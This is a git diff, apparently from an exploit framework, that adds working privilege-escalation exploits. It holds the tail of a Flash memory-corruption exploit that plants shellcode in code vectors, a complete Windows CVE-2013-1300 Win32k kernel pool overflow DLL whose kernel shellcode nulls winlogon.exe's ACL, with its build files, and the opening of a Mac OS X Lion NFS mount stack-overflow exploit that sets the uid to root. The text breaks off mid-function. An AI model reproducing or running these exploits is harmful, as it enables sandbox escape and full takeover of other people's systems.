|
||||
};
|
||||
};
|
||||
content = (content & 0xFFFF0000);
|
||||
if (content == 0xFF500000)
|
||||
{
|
||||
if (uint(vector[(index + 1)]) == 0xc4830850)
|
||||
{
|
||||
if (uint(vector[(index + 2)]) == 0xc35d5e0c)
|
||||
{
|
||||
offset = 2;
|
||||
break;
|
||||
};
|
||||
};
|
||||
};
|
||||
content = (content & 0xFF000000);
|
||||
if (content == 0x50000000)
|
||||
{
|
||||
if (uint(vector[(index + 1)]) == 0x830850ff)
|
||||
{
|
||||
if (uint(vector[(index + 2)]) == 0x5d5e0cc4)
|
||||
{
|
||||
offset = 3;
|
||||
break;
|
||||
};
|
||||
};
|
||||
};
|
||||
};
|
||||
memory_protect_ptr = ((vector_address + (4 * index)) + offset);
|
||||
return ([memory_protect_ptr, _local_6]);
|
||||
}
|
||||
|
||||
// vector: vector with tweaked length
|
||||
// address: memory address of vector data
|
||||
function find_file_ref_vtable(vector:*, address:*):uint{
|
||||
var allocation:uint = this.read_memory(vector, address, ((address & 0xFFFFF000) + 0x1c));
|
||||
|
||||
// Find an allocation of size 0x2a0
|
||||
var allocation_size:uint;
|
||||
while (true)
|
||||
{
|
||||
allocation_size = this.read_memory(vector, address, (allocation + 8));
|
||||
if (allocation_size == 0x2a0) break;
|
||||
if (allocation_size < 0x2a0)
|
||||
{
|
||||
allocation = (allocation + 0x24); // next allocation
|
||||
} else
|
||||
{
|
||||
allocation = (allocation - 0x24); // prior allocation
|
||||
};
|
||||
};
|
||||
var allocation_contents:uint = this.read_memory(vector, address, (allocation + 0xc));
|
||||
while (true)
|
||||
{
|
||||
if (this.read_memory(vector, address, (allocation_contents + 0x180)) == 0xFFFFFFFF) break;
|
||||
if (this.read_memory(vector, address, (allocation_contents + 0x17c)) == 0xFFFFFFFF) break;
|
||||
allocation_contents = this.read_memory(vector, address, (allocation_contents + 8));
|
||||
};
|
||||
return (allocation_contents);
|
||||
}
|
||||
|
||||
// Returns pointer to the nops in one of the allocated code vectors
|
||||
function findCodeVector(vector:*, vector_address:*, mark:*):uint{
|
||||
var allocation_size:uint;
|
||||
var allocation:uint = this.read_memory(vector, vector_address, ((vector_address & 0xFFFFF000) + 0x1c));
|
||||
while (true)
|
||||
{
|
||||
allocation_size = this.read_memory(vector, vector_address, (allocation + 8));
|
||||
if (allocation_size == 0x7f0) break; // Code Vector found
|
||||
allocation = (allocation + 0x24); // next allocation
|
||||
};
|
||||
|
||||
// allocation contents should be the vector code, search for the mark 0x45454545
|
||||
var allocation_contents:uint = this.read_memory(vector, vector_address, (allocation + 0xc));
|
||||
while (true)
|
||||
{
|
||||
if (this.read_memory(vector, vector_address, (allocation_contents + 0x28)) == mark) break;
|
||||
allocation_contents = this.read_memory(vector, vector_address, (allocation_contents + 8)); // next allocation
|
||||
};
|
||||
return ((allocation_contents + 0x2c));
|
||||
}
|
||||
|
||||
// create 8 vectors of size 0x7f0 inside an array to place shellcode
|
||||
function createCodeVectors(mark:uint, nops:uint){
|
||||
var code_vectors_array:Array = new Array();
|
||||
var i:* = 0;
|
||||
while (i < 8)
|
||||
{
|
||||
code_vectors_array[i] = new Vector.<uint>(((0x7f0 / 4) - 8)); // new Vector.<uint>(0x1f4)
|
||||
code_vectors_array[i][0] = mark; // 0x45454545 // inc ebp * 4
|
||||
code_vectors_array[i][1] = nops; // 0x90909090 // nop * 4
|
||||
i++;
|
||||
};
|
||||
return (code_vectors_array);
|
||||
}
|
||||
|
||||
|
||||
// Fill with the code vectors with the shellcode
|
||||
function fillCodeVectors(array_code_vectors:Array) {
|
||||
var i:uint = 0;
|
||||
var sh:uint=1;
|
||||
|
||||
while(i < array_code_vectors.length)
|
||||
{
|
||||
for(var u:String in shellcodeObj)
|
||||
{
|
||||
array_code_vectors[i][sh++] = Number(shellcodeObj[u]);
|
||||
}
|
||||
i++;
|
||||
sh = 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
}//package
|
|
@ -0,0 +1,10 @@
|
|||
package
|
||||
{
|
||||
import mx.core.ByteArrayAsset;
|
||||
|
||||
[Embed(source="binary_data", mimeType="application/octet-stream")]
|
||||
public class Graph_Shad extends ByteArrayAsset
|
||||
{
|
||||
|
||||
}
|
||||
}
|
Binary file not shown.
|
@ -0,0 +1,22 @@
|
|||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio 2013
|
||||
VisualStudioVersion = 12.0.21005.1
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "schlamperei", "schlamperei\schlamperei.vcxproj", "{C093C490-61BF-433E-AEB4-80753B20DEC7}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Win32 = Debug|Win32
|
||||
Release|Win32 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{C093C490-61BF-433E-AEB4-80753B20DEC7}.Debug|Win32.ActiveCfg = Debug|Win32
|
||||
{C093C490-61BF-433E-AEB4-80753B20DEC7}.Debug|Win32.Build.0 = Debug|Win32
|
||||
{C093C490-61BF-433E-AEB4-80753B20DEC7}.Release|Win32.ActiveCfg = Release|Win32
|
||||
{C093C490-61BF-433E-AEB4-80753B20DEC7}.Release|Win32.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
|
@ -0,0 +1,17 @@
|
|||
<?xml version="1.0" standalone="yes"?>
|
||||
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup>
|
||||
<SolutionPath>.\cve-2013-1300.sln</SolutionPath>
|
||||
</PropertyGroup>
|
||||
|
||||
<Target Name="all" DependsOnTargets="x86" />
|
||||
|
||||
<Target Name="x86">
|
||||
<Message Text="Building CVE-2013-1300 Windows NTUserMessageCall Win32k Kernel Pool Overflow (Schlamperei) x86 Release version" />
|
||||
<MSBuild Projects="$(SolutionPath)" Properties="Configuration=Release;Platform=Win32" Targets="Clean;Rebuild"/>
|
||||
</Target>
|
||||
|
||||
<Target Name="x64">
|
||||
<Message Text="CVE-2013-1300 is not supported in x64" />
|
||||
</Target>
|
||||
</Project>
|
|
@ -0,0 +1,291 @@
|
|||
/*!
|
||||
* @file dllmain.cpp
|
||||
* @brief Exploit for CVE-2013-1300 aka ms13-053
|
||||
* @detail Tested on Windows 7 32-bit.
|
||||
* Used in pwn2own 2013 to break out of chrome's sandbox.
|
||||
* Found and exploited by nils and jon of @mwrlabs.
|
||||
*/
|
||||
|
||||
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
|
||||
#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
|
||||
|
||||
// Purloined from ntstatus.h
|
||||
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L) // ntsubauth
|
||||
|
||||
#define WIN32_NO_STATUS
|
||||
#include <windows.h>
|
||||
#undef WIN32_NO_STATUS
|
||||
|
||||
#ifndef _NTDEF_
|
||||
typedef __success(return >= 0) LONG NTSTATUS;
|
||||
typedef NTSTATUS *PNTSTATUS;
|
||||
#endif
|
||||
|
||||
#define MAX_PAGE 4096
|
||||
|
||||
#define TABLE_BASE 0xff910000
|
||||
|
||||
#define EXPLOIT_MSG WM_GETTEXT
|
||||
|
||||
// global variables FTW
|
||||
HWND gHwnd = 0x0;
|
||||
unsigned int gEPROCESS = 0x0;
|
||||
unsigned gPid = 0x0;
|
||||
|
||||
typedef struct _HANDLEENTRY {
|
||||
VOID *phead;
|
||||
VOID *pOwner;
|
||||
UINT8 bType;
|
||||
UINT8 bFlags;
|
||||
UINT16 wUniq;
|
||||
} HANDLEENTRY, *PHANDLEENTRY;
|
||||
|
||||
DWORD gethandleaddress(HANDLE h) {
|
||||
HMODULE mod = GetModuleHandleA("user32.dll");
|
||||
DWORD* sharedinfo = (DWORD*)GetProcAddress(mod, "gSharedInfo");
|
||||
PHANDLEENTRY handles = (PHANDLEENTRY)sharedinfo[1];
|
||||
DWORD index = (DWORD)h&0x3ff;
|
||||
HANDLEENTRY entry = handles[index];
|
||||
return (DWORD)entry.phead;
|
||||
}
|
||||
|
||||
DWORD kernelwndproc(HWND hwnd, UINT msg, WPARAM wparam, LPARAM lparam) {
|
||||
WORD um=0;
|
||||
__asm {
|
||||
mov ax, cs
|
||||
mov um, ax
|
||||
}
|
||||
if(um == 0x1b) {
|
||||
|
||||
} else {
|
||||
// KERNEL MODE CODE EXECUTION
|
||||
// shellcode to change ACL of winlogon.exe to 0x0
|
||||
__asm {
|
||||
mov eax, hwnd // WND
|
||||
mov eax, [eax+8] // THREADINFO
|
||||
mov eax, [eax] // ETHREAD
|
||||
mov eax, [eax+0x150] // KPROCESS
|
||||
mov eax, [eax+0xb8] // flink
|
||||
procloop:
|
||||
lea edx, [eax-0xb8] // KPROCESS
|
||||
mov eax, [eax]
|
||||
add edx, 0x16c // module name
|
||||
cmp dword ptr [edx], 0x6c6e6977 // "winl" for winlogon.exe
|
||||
jne procloop
|
||||
sub edx, 0x170
|
||||
mov dword ptr [edx], 0x0 // null acl
|
||||
mov eax, [edx + 0xb8] // write winlogon pid to global var
|
||||
mov gPid, eax
|
||||
}
|
||||
return 0x201000;
|
||||
}
|
||||
return DefWindowProcW(hwnd,msg,wparam,lparam);
|
||||
}
|
||||
|
||||
HWND createhelperwnd() {
|
||||
WNDCLASSA wndclass;
|
||||
HANDLE hinst = GetModuleHandleA(0);
|
||||
DWORD rc = 0;
|
||||
|
||||
wndclass.style = 0x4000;
|
||||
wndclass.lpfnWndProc = (WNDPROC)kernelwndproc;
|
||||
wndclass.cbClsExtra = 0;
|
||||
wndclass.cbWndExtra = 0;
|
||||
wndclass.hInstance = (HINSTANCE)hinst;
|
||||
wndclass.hIcon = LoadIconA(0, (LPCSTR)0x107);
|
||||
wndclass.hCursor = 0;
|
||||
wndclass.hbrBackground = (HBRUSH)6;
|
||||
wndclass.lpszMenuName = 0;
|
||||
wndclass.lpszClassName = (LPCSTR) 0x1338;
|
||||
rc=RegisterClassA(&wndclass);
|
||||
HWND windowhandle = CreateWindowExA(0, (LPCSTR) 0x1338, "helper", 0, 0, 0, 0, 0, 0, 0, 0, hinst);
|
||||
|
||||
return windowhandle;
|
||||
}
|
||||
|
||||
typedef NTSTATUS __stdcall NtAllocateVirtualMemory_T(HANDLE processHandle,
|
||||
PVOID *baseAddress,
|
||||
ULONG_PTR zeroBits,
|
||||
PSIZE_T regionSize,
|
||||
ULONG allocationType,
|
||||
ULONG protect);
|
||||
|
||||
BOOL AllocFakeEProcess(DWORD address) {
|
||||
unsigned int addr = 0x200000;
|
||||
DWORD allocsize = 0x4000;
|
||||
int x=0;
|
||||
|
||||
NtAllocateVirtualMemory_T * pfnNtAllocateVirtualMemory = 0;
|
||||
pfnNtAllocateVirtualMemory = (NtAllocateVirtualMemory_T *)GetProcAddress(
|
||||
GetModuleHandleA("ntdll.dll"), "NtAllocateVirtualMemory");
|
||||
|
||||
|
||||
unsigned o = (0x20 / 4); // the offset into the page
|
||||
NTSTATUS res = 0x0;
|
||||
|
||||
for(x=0; x<0x60; x++) {
|
||||
res = pfnNtAllocateVirtualMemory((HANDLE)0xffffffff, (PVOID*)&addr, 0, &allocsize, 0x3000, 0x40);
|
||||
if(res == 0x0) {
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
addr += 0x10000;
|
||||
}
|
||||
if(res!=0) return FALSE;
|
||||
memset((void*)addr, 0xab, 0x4000);
|
||||
UINT *eprocess = (UINT*)addr+o;
|
||||
UINT *before = (UINT*)addr;
|
||||
// large enough values to hold reference
|
||||
before[2] = 0x00080000;
|
||||
before[3] = 0x400000;
|
||||
UINT *second = (UINT*)addr + (0x1000/4);
|
||||
for(x=0; x<100; x++) eprocess[x] = (0xdead<<16) + (0xaa00 | x);
|
||||
|
||||
eprocess[0] = 0x03030303; // least significant byte == 0x3
|
||||
|
||||
// Pointer to EPROCESS_QUOTA_BLOCK
|
||||
// Will point into the window object and on decrement flip the flag to enable the kernel mode window procedure
|
||||
eprocess[0xd4/4] = address;
|
||||
|
||||
gEPROCESS = (unsigned int)eprocess;
|
||||
//for(x=0; x<100; x++) second[x] = (0xbeef<<16) + (0xbb00 | x);
|
||||
//second[0x20] = 0x2;
|
||||
//second[0x30] = 0x1;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
DWORD wndproc(HWND hwnd, UINT msg, WPARAM wparam, LPARAM lparam) {
|
||||
if(msg == EXPLOIT_MSG) {
|
||||
// triggering the exploit through WM_GETTEXT
|
||||
// printf("[-] WM_GETTEXT message\n");
|
||||
unsigned char payload[] = "ABCDE ";
|
||||
payload[7] = (gEPROCESS>>16) & 0xff;
|
||||
memcpy((void *) lparam, (void *)payload, 8);
|
||||
return 8;
|
||||
}
|
||||
return DefWindowProcA(hwnd, msg, wparam, lparam);
|
||||
}
|
||||
|
||||
DWORD windowthreadproc(LPVOID arg) {
|
||||
WNDCLASSA wndclass;
|
||||
HANDLE hinst = GetModuleHandleA(0);
|
||||
DWORD rc = 0;
|
||||
MSG msg;
|
||||
|
||||
wndclass.style = 0x4000;
|
||||
wndclass.lpfnWndProc = (WNDPROC)wndproc;
|
||||
wndclass.cbClsExtra = 0;
|
||||
wndclass.cbWndExtra = 0;
|
||||
wndclass.hInstance = (HINSTANCE)hinst;
|
||||
wndclass.hIcon = LoadIconA(0, (LPCSTR)0x107);
|
||||
wndclass.hCursor = 0;
|
||||
wndclass.hbrBackground = (HBRUSH)6;
|
||||
wndclass.lpszMenuName = 0;
|
||||
wndclass.lpszClassName = (LPCSTR) 0x1337;
|
||||
rc=RegisterClassA(&wndclass);
|
||||
|
||||
HWND windowhandle = CreateWindowExA(0, (LPCSTR) 0x1337, "Jon Rocks!", 0, 0, 0, 0, 0, 0, 0, 0, hinst);
|
||||
|
||||
gHwnd = windowhandle;
|
||||
|
||||
while(1) {
|
||||
GetMessageA(&msg, 0x0, 0x0, 0x0);
|
||||
TranslateMessage(&msg);
|
||||
DispatchMessageA(&msg);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
DWORD NtUserMessageCall(HWND hwnd, UINT msg, WPARAM wparam, LPARAM lparam, DWORD result, DWORD fnid, DWORD ansi) {
|
||||
__asm {
|
||||
push ansi
|
||||
push fnid
|
||||
push result
|
||||
push lparam
|
||||
push wparam
|
||||
push msg
|
||||
push hwnd
|
||||
push 0xdeadbeef
|
||||
mov eax, 11eah
|
||||
mov edx, 7ffe0300h
|
||||
call [edx]
|
||||
add esp, 20h
|
||||
}
|
||||
}
|
||||
|
||||
typedef struct _CLIENT_ID
|
||||
{
|
||||
PVOID UniqueProcess;
|
||||
PVOID UniqueThread;
|
||||
} CLIENT_ID, *PCLIENT_ID;
|
||||
|
||||
typedef long (*_RtlCreateUserThread)(HANDLE,
|
||||
PSECURITY_DESCRIPTOR,
|
||||
BOOLEAN,ULONG,
|
||||
PULONG,PULONG,
|
||||
PVOID,PVOID,
|
||||
PHANDLE,PCLIENT_ID);
|
||||
|
||||
_RtlCreateUserThread RtlCreateUserThread;
|
||||
|
||||
int Schlamperei()
|
||||
{
|
||||
// Create window which will execute the wndproc in kernel mode
|
||||
HWND wnd = createhelperwnd();
|
||||
|
||||
// Retrieve memory address of window using gSharedInfo
|
||||
DWORD addressofwnd = gethandleaddress(wnd);
|
||||
|
||||
HMODULE ntdll=LoadLibraryA("ntdll.dll");
|
||||
RtlCreateUserThread=(_RtlCreateUserThread)GetProcAddress(ntdll,"RtlCreateUserThread");
|
||||
|
||||
// Allocate fake EPROCESS in user mode
|
||||
// see "Kernel Pool Exploitation on Windows 7" by Tarjei Mandt
|
||||
if(!AllocFakeEProcess(addressofwnd-0x80+0x15)) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Create window in new thread to trigger inter thread message sending
|
||||
HANDLE thread = CreateThread(0,0,(LPTHREAD_START_ROUTINE)windowthreadproc,0,0,0);
|
||||
|
||||
Sleep(0x1000);
|
||||
|
||||
// 0x9 is size of allocation, results in buffer (8 + 4) = 12
|
||||
// 8 byte block allocations = 16 bytes
|
||||
// so we will copy in 8*2 bytes = 16 bytes to corrupt the pool pointer
|
||||
unsigned char *buf = (unsigned char *)malloc(16);
|
||||
for(int i=0; i<0x40; i++) {
|
||||
NtUserMessageCall(gHwnd, EXPLOIT_MSG, 0x8, (LPARAM)buf, 0x0, 0x2b3, 0x10);
|
||||
}
|
||||
|
||||
SendMessage(wnd, 0x401, addressofwnd, 0x0);
|
||||
|
||||
ExitProcess(0);
|
||||
}
|
||||
|
||||
extern HINSTANCE hAppInstance;
|
||||
|
||||
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) {
|
||||
BOOL bReturnValue = TRUE;
|
||||
switch (dwReason) {
|
||||
case DLL_QUERY_HMODULE:
|
||||
hAppInstance = hinstDLL;
|
||||
if (lpReserved != NULL) {
|
||||
*(HMODULE *)lpReserved = hAppInstance;
|
||||
}
|
||||
break;
|
||||
case DLL_PROCESS_ATTACH:
|
||||
Schlamperei();
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
break;
|
||||
}
|
||||
return bReturnValue;
|
||||
};
|
||||
|
||||
|
|
@ -0,0 +1,111 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<ProjectGuid>{C093C490-61BF-433E-AEB4-80753B20DEC7}</ProjectGuid>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectName>schlamperei</ProjectName>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<PlatformToolset>v120</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<PlatformToolset>v120</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<IncludePath>../../../ReflectiveDLLInjection/common;$(IncludePath)</IncludePath>
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<OutDir>$(Configuration)\$(Platform)\</OutDir>
|
||||
<IntDir>$(Configuration)\$(Platform)\</IntDir>
|
||||
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<IncludePath>../../../ReflectiveDLLInjection/common;$(IncludePath)</IncludePath>
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<OutDir>$(Configuration)\$(Platform)\</OutDir>
|
||||
<IntDir>$(Configuration)\$(Platform)\</IntDir>
|
||||
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;SCHLAMPEREI_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;SCHLAMPEREI_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
</Link>
|
||||
<PostBuildEvent>
|
||||
<Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL
|
||||
IF EXIST "..\..\..\..\..\data\exploits\cve-2013-1300\" GOTO COPY
|
||||
mkdir "..\..\..\..\..\data\exploits\cve-2013-1300\"
|
||||
:COPY
|
||||
copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\exploits\cve-2013-1300\"</Command>
|
||||
</PostBuildEvent>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="schlamperei.c">
|
||||
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">false</CompileAsManaged>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
|
||||
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">false</CompileAsManaged>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
</PrecompiledHeaderFile>
|
||||
<PrecompiledHeaderOutputFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
</PrecompiledHeaderOutputFile>
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
</PrecompiledHeaderFile>
|
||||
<PrecompiledHeaderOutputFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
</PrecompiledHeaderOutputFile>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
|
@ -47,6 +47,13 @@ IF "%ERRORLEVEL%"=="0" (
|
|||
POPD
|
||||
)
|
||||
|
||||
IF "%ERRORLEVEL%"=="0" (
|
||||
ECHO "Building CVE-2013-1300 (schlamperei)"
|
||||
PUSHD CVE-2013-1300
|
||||
msbuild.exe make.msbuild /target:%PLAT%
|
||||
POPD
|
||||
)
|
||||
|
||||
IF "%ERRORLEVEL%"=="0" (
|
||||
ECHO "Building bypassuac (on-disk)"
|
||||
PUSHD bypassuac
|
||||
|
|
|
@ -0,0 +1,165 @@
|
|||
/*
|
||||
* Apple Mac OS X Lion Kernel <= xnu-1699.32.7 except xnu-1699.24.8 NFS Mount Privilege Escalation Exploit
|
||||
* CVE None
|
||||
* by Kenzley Alphonse <kenzley [dot] alphonse [at] gmail [dot] com>
|
||||
*
|
||||
*
|
||||
* Notes:
|
||||
* This exploit leverage a stack overflow vulnerability to escalate privileges.
|
||||
* The vulnerable function nfs_convert_old_nfs_args does not verify the size
|
||||
* of a user-provided argument before copying it to the stack. As a result by
|
||||
* passing a large size, a local user can overwrite the stack with arbitrary
|
||||
* content.
|
||||
*
|
||||
* Tested on Max OS X Lion xnu-1699.22.73 (x86_64)
|
||||
* Tested on Max OS X Lion xnu-1699.32.7 (x86_64)
|
||||
*
|
||||
* Greets to taviso, spender, joberheide
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <strings.h>
|
||||
#include <errno.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/mount.h>
|
||||
#include <sys/param.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/types.h>
|
||||
#include <unistd.h>
|
||||
|
||||
/** change these to fit your environment if needed **/
|
||||
#define SSIZE (536)
|
||||
|
||||
/** struct user_nfs_args was copied directly from "/bsd/nfs/nfs.h" of the xnu kernel **/
|
||||
struct user_nfs_args {
|
||||
int version; /* args structure version number */
|
||||
char* addr __attribute__((aligned(8))); /* file server address */
|
||||
int addrlen; /* length of address */
|
||||
int sotype; /* Socket type */
|
||||
int proto; /* and Protocol */
|
||||
char * fh __attribute__((aligned(8))); /* File handle to be mounted */
|
||||
int fhsize; /* Size, in bytes, of fh */
|
||||
int flags; /* flags */
|
||||
int wsize; /* write size in bytes */
|
||||
int rsize; /* read size in bytes */
|
||||
int readdirsize; /* readdir size in bytes */
|
||||
int timeo; /* initial timeout in .1 secs */
|
||||
int retrans; /* times to retry send */
|
||||
int maxgrouplist; /* Max. size of group list */
|
||||
int readahead; /* # of blocks to readahead */
|
||||
int leaseterm; /* obsolete: Term (sec) of lease */
|
||||
int deadthresh; /* obsolete: Retrans threshold */
|
||||
char* hostname __attribute__((aligned(8))); /* server's name */
|
||||
/* NFS_ARGSVERSION 3 ends here */
|
||||
int acregmin; /* reg file min attr cache timeout */
|
||||
int acregmax; /* reg file max attr cache timeout */
|
||||
int acdirmin; /* dir min attr cache timeout */
|
||||
int acdirmax; /* dir max attr cache timeout */
|
||||
/* NFS_ARGSVERSION 4 ends here */
|
||||
uint auth; /* security mechanism flavor */
|
||||
/* NFS_ARGSVERSION 5 ends here */
|
||||
uint deadtimeout; /* secs until unresponsive mount considered dead */
|
||||
};
|
||||
|
||||
/** sets the uid for the current process and safely exits from the kernel**/
|
||||
static void r00t_me() {
|
||||
asm(
|
||||
// padding
|
||||
"nop; nop; nop; nop;"
|
||||
|
||||
// task_t %rax = current_task()
|
||||
"movq %%gs:0x00000008, %%rax;"
|
||||
"movq 0x00000348(%%rax), %%rax;"
|
||||
|
||||
// proc %rax = get_bsdtask_info()
|
||||
"movq 0x000002d8(%%rax),%%rax;"
|
||||
|
||||
// ucred location at proc
|
||||
"movq 0x000000d0(%%rax),%%rax;"
|
||||
|
||||
// uid = 0
|
||||
"xorl %%edi, %%edi;"
|
||||
"movl %%edi, 0x0000001c(%%rax);"
|
||||
"movl %%edi, 0x00000020(%%rax);"
|
||||
|
||||
// fix the stack pointer and return (EACCES)
|
||||
"movq $13, %%rax;"
|
||||
"addq $0x00000308,%%rsp;"
|
||||
"popq %%rbx;"
|
||||
"popq %%r12;"
|
||||
"popq %%r13;"
|
||||
"popq %%r14;"
|
||||
"popq %%r15;"
|
||||
"popq %%rbp;"
|
||||
"ret;"
|
||||
:::"%rax"
|
||||
);
|
||||
}
|
||||
|
||||
int main(int argc, char ** argv) {
|
||||
struct user_nfs_args xdrbuf;
|
||||
char * path;
|
||||
char obuf[SSIZE];
|
||||
|
||||
|
||||
/** clear the arguments **/
|
||||
memset(&xdrbuf, 0x00, sizeof(struct user_nfs_args));
|
||||
memset(obuf, 0x00, SSIZE);
|
||||
|
||||
/** set up variable to get path to vulnerable code **/
|
||||
xdrbuf.version = 3;
|
||||
xdrbuf.hostname = "localhost";
|
||||
xdrbuf.addrlen = SSIZE;
|
||||
xdrbuf.addr = obuf;
|
||||
|
||||
/** set ret address **/
|
||||
*(unsigned long *)&obuf[528] = (unsigned long) (&r00t_me + 5);
|
||||
printf("[*] set ret = 0x%.16lx\n", *(unsigned long *)&obuf[528]);
|
